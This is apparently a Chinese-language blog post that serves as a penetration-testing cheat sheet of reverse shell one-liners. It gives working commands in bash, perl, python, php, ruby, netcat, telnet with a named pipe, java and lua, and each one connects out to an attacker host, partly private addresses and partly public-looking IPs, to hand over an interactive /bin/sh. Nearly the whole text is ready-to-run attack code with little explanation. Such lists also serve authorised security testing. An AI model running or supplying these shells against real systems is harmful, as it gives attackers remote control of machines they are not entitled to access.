渗透过程中的端口反弹

反弹的各种姿势。

bash版本：

[sourcecode language="plain"]bash -i >& /dev/tcp/10.0.0.1/8080 0>&1[/sourcecode]

注意这个是由解析shell的bash完成，所以某些情况下不支持

perl版本:

[sourcecode language="plain"]perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'[/sourcecode]

python版本:

[sourcecode language="plain"]python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'[/sourcecode]

php版本：

[sourcecode language="plain"]php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'[/sourcecode]

ruby版本：

[sourcecode language="plain"]ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'[/sourcecode]

nc版本：

[sourcecode language="plain"]nc -e /bin/sh 223.8.200.234 1234[/sourcecode]

nc不使用-e：

[sourcecode language="plain"] mknod /tmp/backpipe p /bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe [/sourcecode]

mknod:

[sourcecode language="plain"] mknod backpipe p && telnet 173.214.173.151 8080 0backpipe [/sourcecode]

java版本：

[sourcecode language="plain"] r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/202.103.243.122/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() [/sourcecode]

lua版本：

[sourcecode language="plain"]lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"[/sourcecode]
